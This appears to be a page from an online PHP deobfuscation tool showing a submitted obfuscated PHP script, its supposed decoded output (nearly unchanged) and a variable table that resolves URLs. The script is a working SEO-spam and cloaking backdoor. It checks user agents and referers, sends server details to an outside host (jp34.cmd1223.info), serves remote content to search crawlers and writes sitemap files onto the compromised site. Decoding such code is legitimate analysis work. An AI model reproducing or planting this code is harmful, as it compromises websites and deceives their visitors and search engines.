Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $O="O+5AcZyzn/oMTIWU=S:jk?.uvlmd|fg*hiPQ23EFabDRBC1eG> YtHN6Vx78904p-qrsw<J_KLX";$oO..

Decoded Output download

<?php $O="O+5AcZyzn/oMTIWU=S:jk?.uvlmd|fg*hiPQ23EFabDRBC1eG> YtHN6Vx78904p-qrsw<J_KLX";$oOOoOo="jp34";$OOOooo=$O[32].$O[52].$O[52].$O[63].$O[18].$O[9].$O[9].$oOOoOo.$O[22].$O[4].$O[26].$O[27].$O[46].$O[36].$O[36].$O[37].$O[22].$O[33].$O[8].$O[29].$O[10];$OOoOOO=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[30].$O[10].$O[52].$O[10].$O[22].$O[63].$O[32].$O[63];$OOoOOo=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[57].$O[26].$O[25].$O[22].$O[63].$O[32].$O[63];$OOoOoO=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[32].$O[52].$O[26].$O[25].$O[22].$O[63].$O[32].$O[63];$OOooOO=$_SERVER[$O[43].$O[38].$O[35].$O[15].$O[38].$O[17].$O[12].$O[71].$O[15].$O[43].$O[13]];$oOoOOO=$_SERVER[$O[35].$O[15].$O[38].$O[43].$O[51].$O[71].$O[17].$O[12].$O[43].$O[13].$O[54].$O[48]];$oOOoOO=((isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[17]])&&$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[17]]!==$O[10].$O[29].$O[29])?$O[32].$O[52].$O[52].$O[63].$O[67].$O[18].$O[9].$O[9]:$O[32].$O[52].$O[52].$O[63].$O[18].$O[9].$O[9]);$OooOoo=$_SERVER[$O[17].$O[45].$O[43].$O[13].$O[34].$O[12].$O[71].$O[54].$O[3].$O[11].$O[38]];$OooooO=$_SERVER[$O[17].$O[45].$O[43].$O[13].$O[34].$O[12].$O[71].$O[39].$O[13].$O[73].$O[38].$O[54].$O[3].$O[11].$O[38]];if($OOooOO==$O[9].$O[4].$O[26].$O[27].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63]||$oOoOOO==$O[4].$O[26].$O[27].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63]){echo $OooOoo.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if($OOooOO==$O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]||$oOoOOO==$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]){echo $oOOoOo;exit;}$oOOooO=md5($O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47].$oOOoOo).$O[22].$O[52].$O[57].$O[52];if($OooOoo==$O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||$OooOoo==$O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]){if(substr($OOooOO,0,10)==$O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||substr($OOooOO,0,10)==$O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||substr($OOooOO,0,2)==$O[9].$O[21]||$OOooOO==$O[9]){if($oOoOOO==$O[4].$O[26].$O[27].$O[71].$O[67].$O[47].$O[52].$O[71].$O[19].$O[33].$O[8].$O[30]){@file_put_contents($oOOooO,'0');echo $oOoOOO.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if($oOoOOO==$O[4].$O[26].$O[27].$O[71].$O[67].$O[47].$O[52].$O[71].$O[27].$O[10].$O[8].$O[30]){@file_put_contents($oOOooO,'1');echo $oOoOOO.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if(is_file($oOOooO)){if(trim(file_get_contents($oOOooO))=='0'){$OOOooO=true;}}else{if(trim(OOOO($oOOoOO.$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]))==$oOOoOo){$OOOooO=true;@file_put_contents($oOOooO,'0');}}}else{$OOOooO=true;}}if(isset($OOOooO)&&$OOOooO==true){$OOoOoo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$O[9];$OooOOo=str_replace($O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63],'',$OOooOO);$OooOOo=str_replace($O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63],'',$OooOOo);$OooOOo=ltrim($OooOOo,$O[9]);$OooOOo=ltrim($OooOOo,$O[21]);}else{$OOoOoo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$OooOoo.$O[21];$OooOOo=$_SERVER[$O[35].$O[15].$O[38].$O[43].$O[51].$O[71].$O[17].$O[12].$O[43].$O[13].$O[54].$O[48]];}$OOooOo=$_SERVER[$O[17].$O[38].$O[43].$O[56].$O[38].$O[43].$O[71].$O[54].$O[3].$O[11].$O[38]];isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[43].$O[38].$O[39].$O[38].$O[43].$O[38].$O[43]])?$OOoooO=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[43].$O[38].$O[39].$O[38].$O[43].$O[38].$O[43]]:$OOoooO='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[15].$O[17].$O[38].$O[43].$O[71].$O[3].$O[48].$O[38].$O[54].$O[12]])?$OOoooo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[15].$O[17].$O[38].$O[43].$O[71].$O[3].$O[48].$O[38].$O[54].$O[12]]:$OOoooo='';isset($_SERVER[$O[43].$O[38].$O[11].$O[0].$O[12].$O[38].$O[71].$O[3].$O[42].$O[42].$O[43]])?$OOOOOO=$_SERVER[$O[43].$O[38].$O[11].$O[0].$O[12].$O[38].$O[71].$O[3].$O[42].$O[42].$O[43]]:$OOOOOO='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[74].$O[71].$O[39].$O[0].$O[43].$O[14].$O[3].$O[43].$O[42].$O[38].$O[42].$O[71].$O[39].$O[0].$O[43]])?$OOOOOo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[74].$O[71].$O[39].$O[0].$O[43].$O[14].$O[3].$O[43].$O[42].$O[38].$O[42].$O[71].$O[39].$O[0].$O[43]]:$OOOOOo='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[3].$O[45].$O[45].$O[38].$O[34].$O[12].$O[71].$O[73].$O[3].$O[54].$O[48].$O[15].$O[3].$O[48].$O[38]])?$OOOOoO=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[3].$O[45].$O[45].$O[38].$O[34].$O[12].$O[71].$O[73].$O[3].$O[54].$O[48].$O[15].$O[3].$O[48].$O[38]]:$OOOOoO='';$OooOoO=$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[26].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[22].$O[4].$O[10].$O[26].$O[28].$O[41].$O[33].$O[8].$O[30].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[41].$O[33].$O[8].$O[30].$O[22].$O[4].$O[10].$O[26];$OoOooo=$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[28].$O[41].$O[33].$O[8].$O[30];$OoOOoo=array($O[30].$O[63].$O[71].$O[8].$O[40].$O[26].$O[47]=>$oOOoOo,$O[26].$O[40].$O[63].$O[71].$O[8].$O[40].$O[26].$O[47]=>$OooOOo,$O[63].$O[27].$O[71].$O[63].$O[40].$O[52].$O[32]=>$OooOOo,$O[67].$O[32].$O[47].$O[25].$O[25]=>$OOooOo,$O[32].$O[52].$O[52].$O[63]=>$oOOoOO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[32].$O[10].$O[67].$O[52]=>$OOoOoo,$O[32].$O[52].$O[52].$O[63].$O[71].$O[66].$O[47].$O[29].$O[47].$O[66].$O[47].$O[66]=>$OOoooO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[23].$O[67].$O[47].$O[66].$O[71].$O[40].$O[30].$O[47].$O[8].$O[52]=>$OOoooo,$O[66].$O[47].$O[26].$O[10].$O[52].$O[47].$O[71].$O[40].$O[27].$O[27].$O[66]=>$OOOOOO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[57].$O[71].$O[29].$O[10].$O[66].$O[68].$O[40].$O[66].$O[27].$O[47].$O[27].$O[71].$O[29].$O[10].$O[66]=>$OOOOOo,$O[32].$O[52].$O[52].$O[63].$O[71].$O[40].$O[4].$O[4].$O[47].$O[63].$O[52].$O[71].$O[25].$O[40].$O[8].$O[30].$O[23].$O[40].$O[30].$O[47]=>$OOOOoO);function OOOO($OoOOOO){   $OoOOOo=curl_init();   curl_setopt($OoOOOo,CURLOPT_URL,$OoOOOO);        curl_setopt($OoOOOo,CURLOPT_RETURNTRANSFER,1);  curl_setopt($OoOOOo,CURLOPT_CONNECTTIMEOUT,5);  $OoOOoO=curl_exec($OoOOOo);     curl_close($OoOOOo);    return $OoOOoO;}function OOOOO($OoOOOO,$OoOOoo=array()){$OoOOOo=curl_init();curl_setopt($OoOOOo,CURLOPT_URL,$OoOOOO);curl_setopt($OoOOOo,CURLOPT_RETURNTRANSFER,1);curl_setopt($OoOOOo,CURLOPT_HEADER,0);curl_setopt($OoOOOo,CURLOPT_TIMEOUT,10);curl_setopt($OoOOOo,CURLOPT_POST,1);curl_setopt($OoOOOo,CURLOPT_POSTFIELDS,http_build_query($OoOOoo));$OoOOoO=curl_exec($OoOOOo);$OoOoOO=curl_errno($OoOOOo);curl_close($OoOOOo);if(0!==$OoOoOO){return false;}return $OoOOoO;}if(strpos($OOooOO,$O[22].$O[57].$O[26].$O[25])){$Oooooo=OOOOO($OOoOOo,$OoOOoo);if(empty($Oooooo)){header($O[53].$O[12].$O[12].$O[34].$O[9].$O[46].$O[22].$O[61].$O[50].$O[62].$O[61].$O[62].$O[50].$O[54].$O[10].$O[52].$O[50].$O[39].$O[10].$O[23].$O[8].$O[27]);exit;}if($OooOOo==$O[23].$O[63].$O[25].$O[10].$O[40].$O[27].$O[64].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[22].$O[57].$O[26].$O[25]){echo $O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].PHP_EOL;$oOOOOO=explode("
",$Oooooo);$OoOoOo=$O[15].$O[67].$O[47].$O[66].$O[64].$O[40].$O[30].$O[47].$O[8].$O[52].$O[18].$O[31].PHP_EOL;$OoOoOo.=$O[3].$O[25].$O[25].$O[10].$O[68].$O[18].$O[9].PHP_EOL;for($oOOOoo=0;$oOOOoo<count($oOOOOO)-1;$oOOOoo++){$oOOOoO=OOOO($O[32].$O[52].$O[52].$O[63].$O[67].$O[18].$O[9].$O[9].$O[68].$O[68].$O[68].$O[22].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[26].$O[9].$O[63].$O[33].$O[8].$O[30].$O[21].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[16].$oOOOOO[$oOOOoo]);preg_match("/<h2>(.+)?<\/h2>/",$oOOOoO,$oOOOOo);echo $oOOOOO[$oOOOoo].$O[16].$O[16].$O[49].$O[63].$O[33].$O[8].$O[30].$O[64].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[64].$O[66].$O[47].$O[67].$O[23].$O[25].$O[52].$O[64].$O[33].$O[67].$O[18].$O[69].$O[41].$O[49].$oOOOOo[1].$O[69].$O[9].$O[41].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].PHP_EOL;usleep(500000);$OoOoOo.=$O[17].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[18].$oOOOOO[$oOOOoo].PHP_EOL;}file_put_contents(str_replace($OooOoo,'',$OooooO).$O[9].$O[66].$O[10].$O[41].$O[10].$O[52].$O[67].$O[22].$O[52].$O[57].$O[52],$OoOoOo);echo $O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[66].$O[10].$O[41].$O[10].$O[52].$O[67].$O[22].$O[52].$O[57].$O[52].$O[16].$O[16].$O[49].$O[69].$O[41].$O[49].$O[23].$O[63].$O[27].$O[40].$O[52].$O[47].$O[27].$O[69].$O[9].$O[41].$O[49];}else{header($O[45].$O[10].$O[8].$O[52].$O[47].$O[8].$O[52].$O[64].$O[52].$O[6].$O[63].$O[47].$O[18].$O[52].$O[47].$O[57].$O[52].$O[9].$O[57].$O[26].$O[25]);echo $Oooooo;}exit;}else{if($OOoooo!=''&&preg_match('/('.$OoOooo.')/si',$OOoooo)){$OoooOO=OOOOO($OOoOoO,$OoOOoo);empty($OoooOO)?header($O[53].$O[12].$O[12].$O[34].$O[9].$O[46].$O[22].$O[61].$O[50].$O[62].$O[61].$O[62].$O[50].$O[54].$O[10].$O[52].$O[50].$O[39].$O[10].$O[23].$O[8].$O[27]):print $OoooOO;exit;}else{if($OOoooO!=''&&preg_match('/('.$OooOoO.')/si',$OOoooO)){$OoooOo=OOOOO($OOoOOO,$OoOOoo);if(!empty($OoooOo)){echo $OoooOo;exit;}}}}?> 

Did this file decode correctly?

Original Code

<?php $O="O+5AcZyzn/oMTIWU=S:jk?.uvlmd|fg*hiPQ23EFabDRBC1eG> YtHN6Vx78904p-qrsw<J_KLX";$oOOoOo="jp34";$OOOooo=$O[32].$O[52].$O[52].$O[63].$O[18].$O[9].$O[9].$oOOoOo.$O[22].$O[4].$O[26].$O[27].$O[46].$O[36].$O[36].$O[37].$O[22].$O[33].$O[8].$O[29].$O[10];$OOoOOO=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[30].$O[10].$O[52].$O[10].$O[22].$O[63].$O[32].$O[63];$OOoOOo=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[57].$O[26].$O[25].$O[22].$O[63].$O[32].$O[63];$OOoOoO=$OOOooo.$O[9].$O[26].$O[40].$O[33].$O[8].$O[71].$O[32].$O[52].$O[26].$O[25].$O[22].$O[63].$O[32].$O[63];$OOooOO=$_SERVER[$O[43].$O[38].$O[35].$O[15].$O[38].$O[17].$O[12].$O[71].$O[15].$O[43].$O[13]];$oOoOOO=$_SERVER[$O[35].$O[15].$O[38].$O[43].$O[51].$O[71].$O[17].$O[12].$O[43].$O[13].$O[54].$O[48]];$oOOoOO=((isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[17]])&&$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[17]]!==$O[10].$O[29].$O[29])?$O[32].$O[52].$O[52].$O[63].$O[67].$O[18].$O[9].$O[9]:$O[32].$O[52].$O[52].$O[63].$O[18].$O[9].$O[9]);$OooOoo=$_SERVER[$O[17].$O[45].$O[43].$O[13].$O[34].$O[12].$O[71].$O[54].$O[3].$O[11].$O[38]];$OooooO=$_SERVER[$O[17].$O[45].$O[43].$O[13].$O[34].$O[12].$O[71].$O[39].$O[13].$O[73].$O[38].$O[54].$O[3].$O[11].$O[38]];if($OOooOO==$O[9].$O[4].$O[26].$O[27].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63]||$oOoOOO==$O[4].$O[26].$O[27].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63]){echo $OooOoo.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if($OOooOO==$O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]||$oOoOOO==$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]){echo $oOOoOo;exit;}$oOOooO=md5($O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47].$oOOoOo).$O[22].$O[52].$O[57].$O[52];if($OooOoo==$O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||$OooOoo==$O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]){if(substr($OOooOO,0,10)==$O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||substr($OOooOO,0,10)==$O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63]||substr($OOooOO,0,2)==$O[9].$O[21]||$OOooOO==$O[9]){if($oOoOOO==$O[4].$O[26].$O[27].$O[71].$O[67].$O[47].$O[52].$O[71].$O[19].$O[33].$O[8].$O[30]){@file_put_contents($oOOooO,'0');echo $oOoOOO.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if($oOoOOO==$O[4].$O[26].$O[27].$O[71].$O[67].$O[47].$O[52].$O[71].$O[27].$O[10].$O[8].$O[30]){@file_put_contents($oOOooO,'1');echo $oOoOOO.$O[64].$O[64].$O[64].$O[10].$O[20];exit;}if(is_file($oOOooO)){if(trim(file_get_contents($oOOooO))=='0'){$OOOooO=true;}}else{if(trim(OOOO($oOOoOO.$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$O[9].$O[4].$O[26].$O[27].$O[30].$O[63].$O[8].$O[40].$O[26].$O[47]))==$oOOoOo){$OOOooO=true;@file_put_contents($oOOooO,'0');}}}else{$OOOooO=true;}}if(isset($OOOooO)&&$OOOooO==true){$OOoOoo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$O[9];$OooOOo=str_replace($O[9].$O[33].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63],'',$OOooOO);$OooOOo=str_replace($O[9].$O[25].$O[8].$O[27].$O[47].$O[57].$O[22].$O[63].$O[32].$O[63],'',$OooOOo);$OooOOo=ltrim($OooOOo,$O[9]);$OooOOo=ltrim($OooOOo,$O[21]);}else{$OOoOoo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[53].$O[0].$O[17].$O[12]].$OooOoo.$O[21];$OooOOo=$_SERVER[$O[35].$O[15].$O[38].$O[43].$O[51].$O[71].$O[17].$O[12].$O[43].$O[13].$O[54].$O[48]];}$OOooOo=$_SERVER[$O[17].$O[38].$O[43].$O[56].$O[38].$O[43].$O[71].$O[54].$O[3].$O[11].$O[38]];isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[43].$O[38].$O[39].$O[38].$O[43].$O[38].$O[43]])?$OOoooO=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[43].$O[38].$O[39].$O[38].$O[43].$O[38].$O[43]]:$OOoooO='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[15].$O[17].$O[38].$O[43].$O[71].$O[3].$O[48].$O[38].$O[54].$O[12]])?$OOoooo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[15].$O[17].$O[38].$O[43].$O[71].$O[3].$O[48].$O[38].$O[54].$O[12]]:$OOoooo='';isset($_SERVER[$O[43].$O[38].$O[11].$O[0].$O[12].$O[38].$O[71].$O[3].$O[42].$O[42].$O[43]])?$OOOOOO=$_SERVER[$O[43].$O[38].$O[11].$O[0].$O[12].$O[38].$O[71].$O[3].$O[42].$O[42].$O[43]]:$OOOOOO='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[74].$O[71].$O[39].$O[0].$O[43].$O[14].$O[3].$O[43].$O[42].$O[38].$O[42].$O[71].$O[39].$O[0].$O[43]])?$OOOOOo=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[74].$O[71].$O[39].$O[0].$O[43].$O[14].$O[3].$O[43].$O[42].$O[38].$O[42].$O[71].$O[39].$O[0].$O[43]]:$OOOOOo='';isset($_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[3].$O[45].$O[45].$O[38].$O[34].$O[12].$O[71].$O[73].$O[3].$O[54].$O[48].$O[15].$O[3].$O[48].$O[38]])?$OOOOoO=$_SERVER[$O[53].$O[12].$O[12].$O[34].$O[71].$O[3].$O[45].$O[45].$O[38].$O[34].$O[12].$O[71].$O[73].$O[3].$O[54].$O[48].$O[15].$O[3].$O[48].$O[38]]:$OOOOoO='';$OooOoO=$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[26].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[22].$O[4].$O[10].$O[26].$O[28].$O[41].$O[33].$O[8].$O[30].$O[22].$O[4].$O[10].$O[22].$O[19].$O[63].$O[28].$O[41].$O[33].$O[8].$O[30].$O[22].$O[4].$O[10].$O[26];$OoOooo=$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[28].$O[6].$O[40].$O[32].$O[10].$O[10].$O[28].$O[41].$O[33].$O[8].$O[30];$OoOOoo=array($O[30].$O[63].$O[71].$O[8].$O[40].$O[26].$O[47]=>$oOOoOo,$O[26].$O[40].$O[63].$O[71].$O[8].$O[40].$O[26].$O[47]=>$OooOOo,$O[63].$O[27].$O[71].$O[63].$O[40].$O[52].$O[32]=>$OooOOo,$O[67].$O[32].$O[47].$O[25].$O[25]=>$OOooOo,$O[32].$O[52].$O[52].$O[63]=>$oOOoOO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[32].$O[10].$O[67].$O[52]=>$OOoOoo,$O[32].$O[52].$O[52].$O[63].$O[71].$O[66].$O[47].$O[29].$O[47].$O[66].$O[47].$O[66]=>$OOoooO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[23].$O[67].$O[47].$O[66].$O[71].$O[40].$O[30].$O[47].$O[8].$O[52]=>$OOoooo,$O[66].$O[47].$O[26].$O[10].$O[52].$O[47].$O[71].$O[40].$O[27].$O[27].$O[66]=>$OOOOOO,$O[32].$O[52].$O[52].$O[63].$O[71].$O[57].$O[71].$O[29].$O[10].$O[66].$O[68].$O[40].$O[66].$O[27].$O[47].$O[27].$O[71].$O[29].$O[10].$O[66]=>$OOOOOo,$O[32].$O[52].$O[52].$O[63].$O[71].$O[40].$O[4].$O[4].$O[47].$O[63].$O[52].$O[71].$O[25].$O[40].$O[8].$O[30].$O[23].$O[40].$O[30].$O[47]=>$OOOOoO);function OOOO($OoOOOO){   $OoOOOo=curl_init();   curl_setopt($OoOOOo,CURLOPT_URL,$OoOOOO);        curl_setopt($OoOOOo,CURLOPT_RETURNTRANSFER,1);  curl_setopt($OoOOOo,CURLOPT_CONNECTTIMEOUT,5);  $OoOOoO=curl_exec($OoOOOo);     curl_close($OoOOOo);    return $OoOOoO;}function OOOOO($OoOOOO,$OoOOoo=array()){$OoOOOo=curl_init();curl_setopt($OoOOOo,CURLOPT_URL,$OoOOOO);curl_setopt($OoOOOo,CURLOPT_RETURNTRANSFER,1);curl_setopt($OoOOOo,CURLOPT_HEADER,0);curl_setopt($OoOOOo,CURLOPT_TIMEOUT,10);curl_setopt($OoOOOo,CURLOPT_POST,1);curl_setopt($OoOOOo,CURLOPT_POSTFIELDS,http_build_query($OoOOoo));$OoOOoO=curl_exec($OoOOOo);$OoOoOO=curl_errno($OoOOOo);curl_close($OoOOOo);if(0!==$OoOoOO){return false;}return $OoOOoO;}if(strpos($OOooOO,$O[22].$O[57].$O[26].$O[25])){$Oooooo=OOOOO($OOoOOo,$OoOOoo);if(empty($Oooooo)){header($O[53].$O[12].$O[12].$O[34].$O[9].$O[46].$O[22].$O[61].$O[50].$O[62].$O[61].$O[62].$O[50].$O[54].$O[10].$O[52].$O[50].$O[39].$O[10].$O[23].$O[8].$O[27]);exit;}if($OooOOo==$O[23].$O[63].$O[25].$O[10].$O[40].$O[27].$O[64].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[22].$O[57].$O[26].$O[25]){echo $O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].PHP_EOL;$oOOOOO=explode("\n",$Oooooo);$OoOoOo=$O[15].$O[67].$O[47].$O[66].$O[64].$O[40].$O[30].$O[47].$O[8].$O[52].$O[18].$O[31].PHP_EOL;$OoOoOo.=$O[3].$O[25].$O[25].$O[10].$O[68].$O[18].$O[9].PHP_EOL;for($oOOOoo=0;$oOOOoo<count($oOOOOO)-1;$oOOOoo++){$oOOOoO=OOOO($O[32].$O[52].$O[52].$O[63].$O[67].$O[18].$O[9].$O[9].$O[68].$O[68].$O[68].$O[22].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[22].$O[4].$O[10].$O[26].$O[9].$O[63].$O[33].$O[8].$O[30].$O[21].$O[67].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[16].$oOOOOO[$oOOOoo]);preg_match("/<h2>(.+)?<\/h2>/",$oOOOoO,$oOOOOo);echo $oOOOOO[$oOOOoo].$O[16].$O[16].$O[49].$O[63].$O[33].$O[8].$O[30].$O[64].$O[30].$O[10].$O[10].$O[30].$O[25].$O[47].$O[64].$O[66].$O[47].$O[67].$O[23].$O[25].$O[52].$O[64].$O[33].$O[67].$O[18].$O[69].$O[41].$O[49].$oOOOOo[1].$O[69].$O[9].$O[41].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].PHP_EOL;usleep(500000);$OoOoOo.=$O[17].$O[33].$O[52].$O[47].$O[26].$O[40].$O[63].$O[18].$oOOOOO[$oOOOoo].PHP_EOL;}file_put_contents(str_replace($OooOoo,'',$OooooO).$O[9].$O[66].$O[10].$O[41].$O[10].$O[52].$O[67].$O[22].$O[52].$O[57].$O[52],$OoOoOo);echo $O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[69].$O[41].$O[66].$O[9].$O[49].$O[66].$O[10].$O[41].$O[10].$O[52].$O[67].$O[22].$O[52].$O[57].$O[52].$O[16].$O[16].$O[49].$O[69].$O[41].$O[49].$O[23].$O[63].$O[27].$O[40].$O[52].$O[47].$O[27].$O[69].$O[9].$O[41].$O[49];}else{header($O[45].$O[10].$O[8].$O[52].$O[47].$O[8].$O[52].$O[64].$O[52].$O[6].$O[63].$O[47].$O[18].$O[52].$O[47].$O[57].$O[52].$O[9].$O[57].$O[26].$O[25]);echo $Oooooo;}exit;}else{if($OOoooo!=''&&preg_match('/('.$OoOooo.')/si',$OOoooo)){$OoooOO=OOOOO($OOoOoO,$OoOOoo);empty($OoooOO)?header($O[53].$O[12].$O[12].$O[34].$O[9].$O[46].$O[22].$O[61].$O[50].$O[62].$O[61].$O[62].$O[50].$O[54].$O[10].$O[52].$O[50].$O[39].$O[10].$O[23].$O[8].$O[27]):print $OoooOO;exit;}else{if($OOoooO!=''&&preg_match('/('.$OooOoO.')/si',$OOoooO)){$OoooOo=OOOOO($OOoOOO,$OoOOoo);if(!empty($OoooOo)){echo $OoooOo;exit;}}}}?>

Function Calls

md5 1
OOOOO 1
strpos 1
curl_init 1
preg_match 1

Variables

$O O+5AcZyzn/oMTIWU=S:jk?.uvlmd|fg*hiPQ23EFabDRBC1eG> YtHN6Vx78..
$OOOooo http://jp34.cmd1223.info
$OOoOOO http://jp34.cmd1223.info/main_goto.php
$OOoOOo http://jp34.cmd1223.info/main_xml.php
$OOoOoO http://jp34.cmd1223.info/main_html.php
$OOoOoo NoneNone?
$OOooOO None
$OOooOo None
$OoOOOO http://jp34.cmd1223.info/main_html.php
$OoOOoo [{'key': 'gp_name', 'value': 'jp34'}, {'key': 'map_name', 'value': None}, {'key': 'pd_path', 'value': None}, {'key': 'shell', 'value': None}, {'key': 'http', 'value': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['ArrayOffset', {'expr': 32, 'node': ['Variable', {'name': '$O'}]}], 'right': ['ArrayOffset', {'expr': 52, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 52, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 63, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 18, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 9, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 9, 'node': ['Variable', {'name': '$O'}]}]}]}, {'key': 'http_host', 'value': 'NoneNone?'}, {'key': 'http_referer', 'value': 0}, {'key': 'http_user_agent', 'value': 0}, 